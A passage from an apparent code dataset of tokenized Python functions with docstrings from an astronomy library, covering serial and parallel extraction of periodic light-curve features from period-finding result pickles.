%<EOL>(os.path.basename(nbr_full_lcf),<EOL>os.path.dirname(nbr_full_lcf),<EOL>lcbasedir))<EOL>nbrlcf = None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>nbrlcf = None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>nbrlcf = None<EOL><DEDENT>try:<EOL><INDENT>lcdict = readerfunc(lcfile)<EOL>if ( (isinstance(lcdict, (list, tuple))) and<EOL>(isinstance(lcdict[<NUM_LIT:0>], dict)) ):<EOL><INDENT>lcdict = lcdict[<NUM_LIT:0>]<EOL><DEDENT>if nbrlcf is not None:<EOL><INDENT>nbrlcdict = readerfunc(nbrlcf)<EOL>if ( (isinstance(nbrlcdict, (list, tuple))) and<EOL>(isinstance(nbrlcdict[<NUM_LIT:0>], dict)) ):<EOL><INDENT>nbrlcdict = nbrlcdict[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>outfile = os.path.join(outdir, '<STR_LIT>' %<EOL>squeeze(objectid).replace('<STR_LIT:U+0020>','<STR_LIT:->'))<EOL>if normfunc is not None:<EOL><INDENT>lcdict = normfunc(lcdict)<EOL>if nbrlcf:<EOL><INDENT>nbrlcdict = normfunc(nbrlcdict)<EOL><DEDENT><DEDENT>resultdict = {}<EOL>for tcol, mcol, ecol in zip(timecols, magcols, errcols):<EOL><INDENT>if '<STR_LIT:.>' in tcol:<EOL><INDENT>tcolget = tcol.split('<STR_LIT:.>')<EOL><DEDENT>else:<EOL><INDENT>tcolget = [tcol]<EOL><DEDENT>times = _dict_get(lcdict, tcolget)<EOL>if nbrlcf:<EOL><INDENT>nbrtimes = _dict_get(nbrlcdict, tcolget)<EOL><DEDENT>else:<EOL><INDENT>nbrtimes = None<EOL><DEDENT>if '<STR_LIT:.>' in mcol:<EOL><INDENT>mcolget = mcol.split('<STR_LIT:.>')<EOL><DEDENT>else:<EOL><INDENT>mcolget = [mcol]<EOL><DEDENT>mags = _dict_get(lcdict, mcolget)<EOL>if nbrlcf:<EOL><INDENT>nbrmags = _dict_get(nbrlcdict, mcolget)<EOL><DEDENT>else:<EOL><INDENT>nbrmags = None<EOL><DEDENT>if '<STR_LIT:.>' in ecol:<EOL><INDENT>ecolget = ecol.split('<STR_LIT:.>')<EOL><DEDENT>else:<EOL><INDENT>ecolget = [ecol]<EOL><DEDENT>errs = _dict_get(lcdict, ecolget)<EOL>if nbrlcf:<EOL><INDENT>nbrerrs = _dict_get(nbrlcdict, ecolget)<EOL><DEDENT>else:<EOL><INDENT>nbrerrs = None<EOL><DEDENT>finind = np.isfinite(times) & np.isfinite(mags) & np.isfinite(errs)<EOL>ftimes, fmags, ferrs = times[finind], mags[finind], errs[finind]<EOL>if nbrlcf:<EOL><INDENT>nfinind = (np.isfinite(nbrtimes) &<EOL>np.isfinite(nbrmags) &<EOL>np.isfinite(nbrerrs))<EOL>nbrftimes, nbrfmags, nbrferrs = (nbrtimes[nfinind],<EOL>nbrmags[nfinind],<EOL>nbrerrs[nfinind])<EOL><DEDENT>nzind = np.nonzero(ferrs)<EOL>ftimes, fmags, ferrs = ftimes[nzind], fmags[nzind], ferrs[nzind]<EOL>if nbrlcf:<EOL><INDENT>nnzind = np.nonzero(nbrferrs)<EOL>nbrftimes, nbrfmags, nbrferrs = (nbrftimes[nnzind],<EOL>nbrfmags[nnzind],<EOL>nbrferrs[nnzind])<EOL><DEDENT>if normfunc is None:<EOL><INDENT>ntimes, nmags = normalize_magseries(<EOL>ftimes, fmags,<EOL>magsarefluxes=magsarefluxes<EOL>)<EOL>times, mags, errs = ntimes, nmags, ferrs<EOL>if nbrlcf:<EOL><INDENT>nbrntimes, nbrnmags = normalize_magseries(<EOL>nbrftimes, nbrfmags,<EOL>magsarefluxes=magsarefluxes<EOL>)<EOL>nbrtimes, nbrmags, nbrerrs = nbrntimes, nbrnmags, nbrferrs<EOL><DEDENT>else:<EOL><INDENT>nbrtimes, nbrmags, nbrerrs = None, None, None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>times, mags, errs = ftimes, fmags, ferrs<EOL><DEDENT>if times.size > <NUM_LIT>:<EOL><INDENT>available_pfmethods = []<EOL>available_pgrams = []<EOL>available_bestperiods = []<EOL>for k in pf[mcol].keys():<EOL><INDENT>if k in PFMETHODS:<EOL><INDENT>available_pgrams.append(pf[mcol][k])<EOL>if k != '<STR_LIT>':<EOL><INDENT>available_pfmethods.append(<EOL>pf[mcol][k]['<STR_LIT>']<EOL>)<EOL>available_bestperiods.append(<EOL>pf[mcol][k]['<STR_LIT>']<EOL>)<EOL><DEDENT><DEDENT><DEDENT>featkey = '<STR_LIT>' % mcol<EOL>resultdict[featkey] = {}<EOL>pgramfeat = periodicfeatures.periodogram_features(<EOL>available_pgrams, times, mags, errs,<EOL>sigclip=sigclip,<EOL>pdiff_threshold=pdiff_threshold,<EOL>sidereal_threshold=sidereal_threshold,<EOL>sampling_peak_multiplier=sampling_peak_multiplier,<EOL>sampling_startp=sampling_startp,<EOL>sampling_endp=sampling_endp,<EOL>verbose=verbose<EOL>)<EOL>resultdict[featkey].update(pgramfeat)<EOL>resultdict[featkey]['<STR_LIT>'] = available_pfmethods<EOL>for _ind, pfm, bp in zip(range(len(available_bestperiods)),<EOL>available_pfmethods,<EOL>available_bestperiods):<EOL><INDENT>resultdict[featkey][pfm] = periodicfeatures.lcfit_features(<EOL>times, mags, errs, bp,<EOL>fourierorder=fourierorder,<EOL>transitparams=transitparams,<EOL>ebparams=ebparams,<EOL>sigclip=sigclip,<EOL>magsarefluxes=magsarefluxes,<EOL>verbose=verbose<EOL>)<EOL>phasedlcfeat = periodicfeatures.phasedlc_features(<EOL>times, mags, errs, bp,<EOL>nbrtimes=nbrtimes,<EOL>nbrmags=nbrmags,<EOL>nbrerrs=nbrerrs<EOL>)<EOL>resultdict[featkey][pfm].update(phasedlcfeat)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% (mcol, pfpickle))<EOL>featkey = '<STR_LIT>' % mcol<EOL>resultdict[featkey] = None<EOL><DEDENT><DEDENT>outfile = os.path.join(outdir, '<STR_LIT>' %<EOL>squeeze(objectid).replace('<STR_LIT:U+0020>','<STR_LIT:->'))<EOL>with open(outfile,'<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(resultdict, outfd, pickle.HIGHEST_PROTOCOL)<EOL><DEDENT>return outfile<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>' %<EOL>(pfpickle, lcfile))<EOL>if raiseonfail:<EOL><INDENT>raise<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT><DEDENT>", "docstring": "This gets all periodic features for the object.\n\n    Parameters\n    ----------\n\n    pfpickle : str\n        The period-finding result pickle containing period-finder results to use\n        for the calculation of LC fit, periodogram, and phased LC features.\n\n    lcbasedir : str\n        The base directory where the light curve for the current object is\n        located.\n\n    outdir : str\n        The output directory where the results will be written.\n\n    fourierorder : int\n        The Fourier order to use to generate sinusoidal function and fit that to\n        the phased light curve.\n\n    transitparams : list of floats\n        The transit depth, duration, and ingress duration to use to generate a\n        trapezoid planet transit model fit to the phased light curve. The period\n        used is the one provided in `period`, while the epoch is automatically\n        obtained from a spline fit to the phased light curve.\n\n    ebparams : list of floats\n        The primary eclipse depth, eclipse duration, the primary-secondary depth\n        ratio, and the phase of the secondary eclipse to use to generate an\n        eclipsing binary model fit to the phased light curve. The period used is\n        the one provided in `period`, while the epoch is automatically obtained\n        from a spline fit to the phased light curve.\n\n    pdiff_threshold : float\n        This is the max difference between periods to consider them the same.\n\n    sidereal_threshold : float\n        This is the max difference between any of the 'best' periods and the\n        sidereal day periods to consider them the same.\n\n    sampling_peak_multiplier : float\n        This is the minimum multiplicative factor of a 'best' period's\n        normalized periodogram peak over the sampling periodogram peak at the\n        same period required to accept the 'best' period as possibly real.\n\n    sampling_startp, sampling_endp : float\n        If the `pgramlist` doesn't have a time-sampling Lomb-Scargle\n        periodogram, it will be obtained automatically. Use these kwargs to\n        control the minimum and maximum period interval to be searched when\n        generating this periodogram.\n\n    starfeatures : str or None\n        If not None, this should be the filename of the\n        `starfeatures-<objectid>.pkl` created by\n        :py:func:`astrobase.lcproc.lcsfeatures.get_starfeatures` for this\n        object. This is used to get the neighbor's light curve and phase it with\n        this object's period to see if this object is blended.\n\n    timecols : list of str or None\n        The timecol keys to use from the lcdict in calculating the features.\n\n    magcols : list of str or None\n        The magcol keys to use from the lcdict in calculating the features.\n\n    errcols : list of str or None\n        The errcol keys to use from the lcdict in calculating the features.\n\n    lcformat : str\n        This is the `formatkey` associated with your light curve format, which\n        you previously passed in to the `lcproc.register_lcformat`\n        function. This will be used to look up how to find and read the light\n        curves specified in `basedir` or `use_list_of_filenames`.\n\n    lcformatdir : str or None\n        If this is provided, gives the path to a directory when you've stored\n        your lcformat description JSONs, other than the usual directories lcproc\n        knows to search for them in. Use this along with `lcformat` to specify\n        an LC format JSON file that's not currently registered with lcproc.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    verbose : bool\n        If True, will indicate progress while working.\n\n    raiseonfail : bool\n        If True, will raise an Exception if something goes wrong.\n\n    Returns\n    -------\n\n    str\n        Returns a filename for the output pickle containing all of the periodic\n        features for the input object's LC.", "id": "f14698:m1"}
{"signature": "def _periodicfeatures_worker(task):", "body": "pfpickle, lcbasedir, outdir, starfeatures, kwargs = task<EOL>try:<EOL><INDENT>return get_periodicfeatures(pfpickle,<EOL>lcbasedir,<EOL>outdir,<EOL>starfeatures=starfeatures,<EOL>**kwargs)<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>' % pfpickle)<EOL><DEDENT>", "docstring": "This is a parallel worker for the drivers below.", "id": "f14698:m2"}
{"signature": "def serial_periodicfeatures(pfpkl_list,<EOL>lcbasedir,<EOL>outdir,<EOL>starfeaturesdir=None,<EOL>fourierorder=<NUM_LIT:5>,<EOL>transitparams=(-<NUM_LIT>,<NUM_LIT:0.1>,<NUM_LIT:0.1>),<EOL>ebparams=(-<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT:0.5>),<EOL>pdiff_threshold=<NUM_LIT>,<EOL>sidereal_threshold=<NUM_LIT>,<EOL>sampling_peak_multiplier=<NUM_LIT>,<EOL>sampling_startp=None,<EOL>sampling_endp=None,<EOL>starfeatures=None,<EOL>timecols=None,<EOL>magcols=None,<EOL>errcols=None,<EOL>lcformat='<STR_LIT>',<EOL>lcformatdir=None,<EOL>sigclip=<NUM_LIT>,<EOL>verbose=False,<EOL>maxobjects=None):", "body": "try:<EOL><INDENT>formatinfo = get_lcformat(lcformat,<EOL>use_lcformat_dir=lcformatdir)<EOL>if formatinfo:<EOL><INDENT>(fileglob, readerfunc,<EOL>dtimecols, dmagcols, derrcols,<EOL>magsarefluxes, normfunc) = formatinfo<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>if not os.path.exists(outdir):<EOL><INDENT>os.makedirs(outdir)<EOL><DEDENT>if maxobjects:<EOL><INDENT>pfpkl_list = pfpkl_list[:maxobjects]<EOL><DEDENT>LOGINFO('<STR_LIT>' % len(pfpkl_list))<EOL>if starfeaturesdir and os.path.exists(starfeaturesdir):<EOL><INDENT>starfeatures_list = []<EOL>LOGINFO('<STR_LIT>')<EOL>for pfpkl in pfpkl_list:<EOL><INDENT>sfpkl1 = os.path.basename(pfpkl).replace('<STR_LIT>',<EOL>'<STR_LIT>')<EOL>sfpkl2 = sfpkl1.replace('<STR_LIT>','<STR_LIT>')<EOL>sfpath1 = os.path.join(starfeaturesdir, sfpkl1)<EOL>sfpath2 = os.path.join(starfeaturesdir, sfpkl2)<EOL>if os.path.exists(sfpath1):<EOL><INDENT>starfeatures_list.append(sfpkl1)<EOL><DEDENT>elif os.path.exists(sfpath2):<EOL><INDENT>starfeatures_list.append(sfpkl2)<EOL><DEDENT>else:<EOL><INDENT>starfeatures_list.append(None)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>starfeatures_list = [None for x in pfpkl_list]<EOL><DEDENT>kwargs = {'<STR_LIT>':fourierorder,<EOL>'<STR_LIT>':transitparams,<EOL>'<STR_LIT>':ebparams,<EOL>'<STR_LIT>':pdiff_threshold,<EOL>'<STR_LIT>':sidereal_threshold,<EOL>'<STR_LIT>':sampling_peak_multiplier,<EOL>'<STR_LIT>':sampling_startp,<EOL>'<STR_LIT>':sampling_endp,<EOL>'<STR_LIT>':timecols,<EOL>'<STR_LIT>':magcols,<EOL>'<STR_LIT>':errcols,<EOL>'<STR_LIT>':lcformat,<EOL>'<STR_LIT>':lcformatdir,<EOL>'<STR_LIT>':sigclip,<EOL>'<STR_LIT>':verbose}<EOL>tasks = [(x, lcbasedir, outdir, y, kwargs) for (x,y) in<EOL>zip(pfpkl_list, starfeatures_list)]<EOL>LOGINFO('<STR_LIT>')<EOL>for task in tqdm(tasks):<EOL><INDENT>_periodicfeatures_worker(task)<EOL><DEDENT>", "docstring": "This drives the periodicfeatures collection for a list of periodfinding\n    pickles.\n\n    Parameters\n    ----------\n\n    pfpkl_list : list of str\n        The list of period-finding pickles to use.\n\n    lcbasedir : str\n        The base directory where the associated light curves are located.\n\n    outdir : str\n        The directory where the results will be written.\n\n    starfeaturesdir : str or None\n        The directory containing the `starfeatures-<objectid>.pkl` files for\n        each object to use calculate neighbor proximity light curve features.\n\n    fourierorder : int\n        The Fourier order to use to generate sinusoidal function and fit that to\n        the phased light curve.\n\n    transitparams : list of floats\n        The transit depth, duration, and ingress duration to use to generate a\n        trapezoid planet transit model fit to the phased light curve. The period\n        used is the one provided in `period`, while the epoch is automatically\n        obtained from a spline fit to the phased light curve.\n\n    ebparams : list of floats\n        The primary eclipse depth, eclipse duration, the primary-secondary depth\n        ratio, and the phase of the secondary eclipse to use to generate an\n        eclipsing binary model fit to the phased light curve. The period used is\n        the one provided in `period`, while the epoch is automatically obtained\n        from a spline fit to the phased light curve.\n\n    pdiff_threshold : float\n        This is the max difference between periods to consider them the same.\n\n    sidereal_threshold : float\n        This is the max difference between any of the 'best' periods and the\n        sidereal day periods to consider them the same.\n\n    sampling_peak_multiplier : float\n        This is the minimum multiplicative factor of a 'best' period's\n        normalized periodogram peak over the sampling periodogram peak at the\n        same period required to accept the 'best' period as possibly real.\n\n    sampling_startp, sampling_endp : float\n        If the `pgramlist` doesn't have a time-sampling Lomb-Scargle\n        periodogram, it will be obtained automatically. Use these kwargs to\n        control the minimum and maximum period interval to be searched when\n        generating this periodogram.\n\n    timecols : list of str or None\n        The timecol keys to use from the lcdict in calculating the features.\n\n    magcols : list of str or None\n        The magcol keys to use from the lcdict in calculating the features.\n\n    errcols : list of str or None\n        The errcol keys to use from the lcdict in calculating the features.\n\n    lcformat : str\n        This is the `formatkey` associated with your light curve format, which\n        you previously passed in to the `lcproc.register_lcformat`\n        function. This will be used to look up how to find and read the light\n        curves specified in `basedir` or `use_list_of_filenames`.\n\n    lcformatdir : str or None\n        If this is provided, gives the path to a directory when you've stored\n        your lcformat description JSONs, other than the usual directories lcproc\n        knows to search for them in. Use this along with `lcformat` to specify\n        an LC format JSON file that's not currently registered with lcproc.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    verbose : bool\n        If True, will indicate progress while working.\n\n    maxobjects : int\n        The total number of objects to process from `pfpkl_list`.\n\n    Returns\n    -------\n\n    Nothing.", "id": "f14698:m3"}
{"signature": "def parallel_periodicfeatures(pfpkl_list,<EOL>lcbasedir,<EOL>outdir,<EOL>starfeaturesdir=None,<EOL>fourierorder=<NUM_LIT:5>,<EOL>transitparams=(-<NUM_LIT>,<NUM_LIT:0.1>,<NUM_LIT:0.1>),<EOL>ebparams=(-<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT:0.5>),<EOL>pdiff_threshold=<NUM_LIT>,<EOL>sidereal_threshold=<NUM_LIT>,<EOL>sampling_peak_multiplier=<NUM_LIT>,<EOL>sampling_startp=None,<EOL>sampling_endp=None,<EOL>timecols=None,<EOL>magcols=None,<EOL>errcols=None,<EOL>lcformat='<STR_LIT>',<EOL>lcformatdir=None,<EOL>sigclip=<NUM_LIT>,<EOL>verbose=False,<EOL>maxobjects=None,<EOL>nworkers=NCPUS):", "body": "<EOL>if not os.path.exists(outdir):<EOL><INDENT>os.makedirs(outdir)<EOL><DEDENT>if maxobjects:<EOL><INDENT>pfpkl_list = pfpkl_list[:maxobjects]<EOL><DEDENT>LOGINFO('<STR_LIT>' % len(pfpkl_list))<EOL>if starfeaturesdir and os.path.exists(starfeaturesdir):<EOL><INDENT>starfeatures_list = []<EOL>LOGINFO('<STR_LIT>')<EOL>for pfpkl in pfpkl_list:<EOL><INDENT>sfpkl1 = os.path.basename(pfpkl).replace('<STR_LIT>',<EOL>'<STR_LIT>')<EOL>sfpkl2 = sfpkl1.replace('<STR_LIT>','<STR_LIT>')<EOL>sfpath1 = os.path.join(starfeaturesdir, sfpkl1)<EOL>sfpath2 = os.path.join(starfeaturesdir, sfpkl2)<EOL>if os.path.exists(sfpath1):<EOL><INDENT>starfeatures_list.append(sfpkl1)<EOL><DEDENT>elif os.path.exists(sfpath2):<EOL><INDENT>starfeatures_list.append(sfpkl2)<EOL><DEDENT>else:<EOL><INDENT>starfeatures_list.append(None)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>starfeatures_list = [None for x in pfpkl_list]<EOL><DEDENT>kwargs = {'<STR_LIT>':fourierorder,<EOL>'<STR_LIT>':transitparams,<EOL>'<STR_LIT>':ebparams,<EOL>'<STR_LIT>':pdiff_threshold,<EOL>'<STR_LIT>':sidereal_threshold,<EOL>'<STR_LIT>':sampling_peak_multiplier,<EOL>'<STR_LIT>':sampling_startp,<EOL>'<STR_LIT>':sampling_endp,<EOL>'<STR_LIT>':timecols,<EOL>'<STR_LIT>':magcols,<EOL>'<STR_LIT>':errcols,<EOL>'<STR_LIT>':lcformat,<EOL>'<STR_LIT>':lcformat,<EOL>'<STR_LIT>':sigclip,<EOL>'<STR_LIT>':verbose}<EOL>tasks = [(x, lcbasedir, outdir, y, kwargs) for (x,y) in<EOL>zip(pfpkl_list, starfeatures_list)]<EOL>LOGINFO('<STR_LIT>')<EOL>with ProcessPoolExecutor(max_workers=nworkers) as executor:<EOL><INDENT>resultfutures = executor.map(_periodicfeatures_worker, tasks)<EOL><DEDENT>results = [x for x in resultfutures]<EOL>resdict = {os.path.basename(x):y for (x,y) in zip(pfpkl_list, results)}<EOL>return resdict<EOL>", "docstring": "This runs periodic feature generation in parallel for all periodfinding\n    pickles in the input list.\n\n    Parameters\n    ----------\n\n    pfpkl_list : list of str\n        The list of period-finding pickles to use.\n\n    lcbasedir : str\n        The base directory where the associated light curves are located.\n\n    outdir : str\n        The directory where the results will be written.\n\n    starfeaturesdir : str or None\n        The directory containing the `starfeatures-<objectid>.pkl` files for\n        each object to use calculate neighbor proximity light curve features.\n\n    fourierorder : int\n        The Fourier order to use to generate sinusoidal function and fit that to\n        the phased light curve.\n\n    transitparams : list of floats\n        The transit depth, duration, and ingress duration to use to generate a\n        trapezoid planet transit model fit to the phased light curve. The period\n        used is the one provided in `period`, while the epoch is automatically\n        obtained from a spline fit to the phased light curve.\n\n    ebparams : list of floats\n        The primary eclipse depth, eclipse duration, the primary-secondary depth\n        ratio, and the phase of the secondary eclipse to use to generate an\n        eclipsing binary model fit to the phased light curve. The period used is\n        the one provided in `period`, while the epoch is automatically obtained\n        from a spline fit to the phased light curve.\n\n    pdiff_threshold : float\n        This is the max difference between periods to consider them the same.\n\n    sidereal_threshold : float\n        This is the max difference between any of the 'best' periods and the\n        sidereal day periods to consider them the same.\n\n    sampling_peak_multiplier : float\n        This is the minimum multiplicative factor of a 'best' period's\n        normalized periodogram peak over the sampling periodogram peak at the\n        same period required to accept the 'best' period as possibly real.\n\n    sampling_startp, sampling_endp : float\n        If the `pgramlist` doesn't have a time-sampling Lomb-Scargle\n        periodogram, it will be obtained automatically. Use these kwargs to\n        control the minimum and maximum period interval to be searched when\n        generating this periodogram.\n\n    timecols : list of str or None\n        The timecol keys to use from the lcdict in calculating the features.\n\n    magcols : list of str or None\n        The magcol keys to use from the lcdict in calculating the features.\n\n    errcols : list of str or None\n        The errcol keys to use from the lcdict in calculating the features.\n\n    lcformat : str\n        This is the `formatkey` associated with your light curve format, which\n        you previously passed in to the `lcproc.register_lcformat`\n        function. This will be used to look up how to find and read the light\n        curves specified in `basedir` or `use_list_of_filenames`.\n\n    lcformatdir : str or None\n        If this is provided, gives the path to a directory when you've stored\n        your lcformat description JSONs, other than the usual directories lcproc\n        knows to search for them in. Use this along with `lcformat` to specify\n        an LC format JSON file that's not currently registered with lcproc.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    verbose : bool\n        If True, will indicate progress while working.\n\n    maxobjects : int\n        The total number of objects to process from `pfpkl_list`.\n\n    nworkers : int\n        The number of parallel workers to launch to process the input.\n\n    Returns\n    -------\n\n    dict\n        A dict containing key: val pairs of the input period-finder result and\n        the output periodic feature result pickles for each input pickle is\n        returned.", "id": "f14698:m4"}
{"signature": "def parallel_periodicfeatures_lcdir(<EOL>pfpkl_dir,<EOL>lcbasedir,<EOL>outdir,<EOL>pfpkl_glob='<STR_LIT>',<EOL>starfeaturesdir=None,<EOL>fourierorder=<NUM_LIT:5>,<EOL>transitparams=(-<NUM_LIT>,<NUM_LIT:0.1>,<NUM_LIT:0.1>),<EOL>ebparams=(-<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT:0.5>),<EOL>pdiff_threshold=<NUM_LIT>,<EOL>sidereal_threshold=<NUM_LIT>,<EOL>sampling_peak_multiplier=<NUM_LIT>,<EOL>sampling_startp=None,<EOL>sampling_endp=None,<EOL>timecols=None,<EOL>magcols=None,<EOL>errcols=None,<EOL>lcformat='<STR_LIT>',<EOL>lcformatdir=None,<EOL>sigclip=<NUM_LIT>,<EOL>verbose=False,<EOL>maxobjects=None,<EOL>nworkers=NCPUS,<EOL>recursive=True,<EOL>):", "body": "try:<EOL><INDENT>formatinfo = get_lcformat(lcformat,<EOL>use_lcformat_dir=lcformatdir)<EOL>if formatinfo:<EOL><INDENT>(dfileglob, readerfunc,<EOL>dtimecols, dmagcols, derrcols,<EOL>magsarefluxes, normfunc) = formatinfo<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>fileglob = pfpkl_glob<EOL>LOGINFO('<STR_LIT>' % pfpkl_dir)<EOL>if recursive is False:<EOL><INDENT>matching = glob.glob(os.path.join(pfpkl_dir, fileglob))<EOL><DEDENT>else:<EOL><INDENT>if sys.version_info[:<NUM_LIT:2>] > (<NUM_LIT:3>,<NUM_LIT:4>):<EOL><INDENT>matching = glob.glob(os.path.join(pfpkl_dir,<EOL>'<STR_LIT>',<EOL>fileglob),recursive=True)<EOL><DEDENT>else:<EOL><INDENT>walker = os.walk(pfpkl_dir)<EOL>matching = []<EOL>for root, dirs, _files in walker:<EOL><INDENT>for sdir in dirs:<EOL><INDENT>searchpath = os.path.join(root,<EOL>sdir,<EOL>fileglob)<EOL>foundfiles = glob.glob(searchpath)<EOL>if foundfiles:<EOL><INDENT>matching.extend(foundfiles)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>if matching and len(matching) > <NUM_LIT:0>:<EOL><INDENT>LOGINFO('<STR_LIT>' %<EOL>len(matching))<EOL>return parallel_periodicfeatures(<EOL>matching,<EOL>lcbasedir,<EOL>outdir,<EOL>starfeaturesdir=starfeaturesdir,<EOL>fourierorder=fourierorder,<EOL>transitparams=transitparams,<EOL>ebparams=ebparams,<EOL>pdiff_threshold=pdiff_threshold,<EOL>sidereal_threshold=sidereal_threshold,<EOL>sampling_peak_multiplier=sampling_peak_multiplier,<EOL>sampling_startp=sampling_startp,<EOL>sampling_endp=sampling_endp,<EOL>timecols=timecols,<EOL>magcols=magcols,<EOL>errcols=errcols,<EOL>lcformat=lcformat,<EOL>lcformatdir=lcformatdir,<EOL>sigclip=sigclip,<EOL>verbose=verbose,<EOL>maxobjects=maxobjects,<EOL>nworkers=nworkers,<EOL>)<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>' % (pfpkl_dir))<EOL>return None<EOL><DEDENT>", "docstring": "This runs parallel periodicfeature extraction for a directory of\n    periodfinding result pickles.\n\n    Parameters\n    ----------\n\n    pfpkl_dir : str\n        The directory containing the pickles to process.\n\n    lcbasedir : str\n        The directory where all of the associated light curve files are located.\n\n    outdir : str\n        The directory where all the output will be written.\n\n    pfpkl_glob : str\n        The UNIX file glob to use to search for period-finder result pickles in\n        `pfpkl_dir`.\n\n    starfeaturesdir : str or None\n        The directory containing the `starfeatures-<objectid>.pkl` files for\n        each object to use calculate neighbor proximity light curve features.\n\n    fourierorder : int\n        The Fourier order to use to generate sinusoidal function and fit that to\n        the phased light curve.\n\n    transitparams : list of floats\n        The transit depth, duration, and ingress duration to use to generate a\n        trapezoid planet transit model fit to the phased light curve. The period\n        used is the one provided in `period`, while the epoch is automatically\n        obtained from a spline fit to the phased light curve.\n\n    ebparams : list of floats\n        The primary eclipse depth, eclipse duration, the primary-secondary depth\n        ratio, and the phase of the secondary eclipse to use to generate an\n        eclipsing binary model fit to the phased light curve. The period used is\n        the one provided in `period`, while the epoch is automatically obtained\n        from a spline fit to the phased light curve.\n\n    pdiff_threshold : float\n        This is the max difference between periods to consider them the same.\n\n    sidereal_threshold : float\n        This is the max difference between any of the 'best' periods and the\n        sidereal day periods to consider them the same.\n\n    sampling_peak_multiplier : float\n        This is the minimum multiplicative factor of a 'best' period's\n        normalized periodogram peak over the sampling periodogram peak at the\n        same period required to accept the 'best' period as possibly real.\n\n    sampling_startp, sampling_endp : float\n        If the `pgramlist` doesn't have a time-sampling Lomb-Scargle\n        periodogram, it will be obtained automatically. Use these kwargs to\n        control the minimum and maximum period interval to be searched when\n        generating this periodogram.\n\n    timecols : list of str or None\n        The timecol keys to use from the lcdict in calculating the features.\n\n    magcols : list of str or None\n        The magcol keys to use from the lcdict in calculating the features.\n\n    errcols : list of str or None\n        The errcol keys to use from the lcdict in calculating the features.\n\n    lcformat : str\n        This is the `formatkey` associated with your light curve format, which\n        you previously passed in to the `lcproc.register_lcformat`\n        function. This will be used to look up how to find and read the light\n        curves specified in `basedir` or `use_list_of_filenames`.\n\n    lcformatdir : str or None\n        If this is provided, gives the path to a directory when you've stored\n        your lcformat description JSONs, other than the usual directories lcproc\n        knows to search for them in. Use this along with `lcformat` to specify\n        an LC format JSON file that's not currently registered with lcproc.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    verbose : bool\n        If 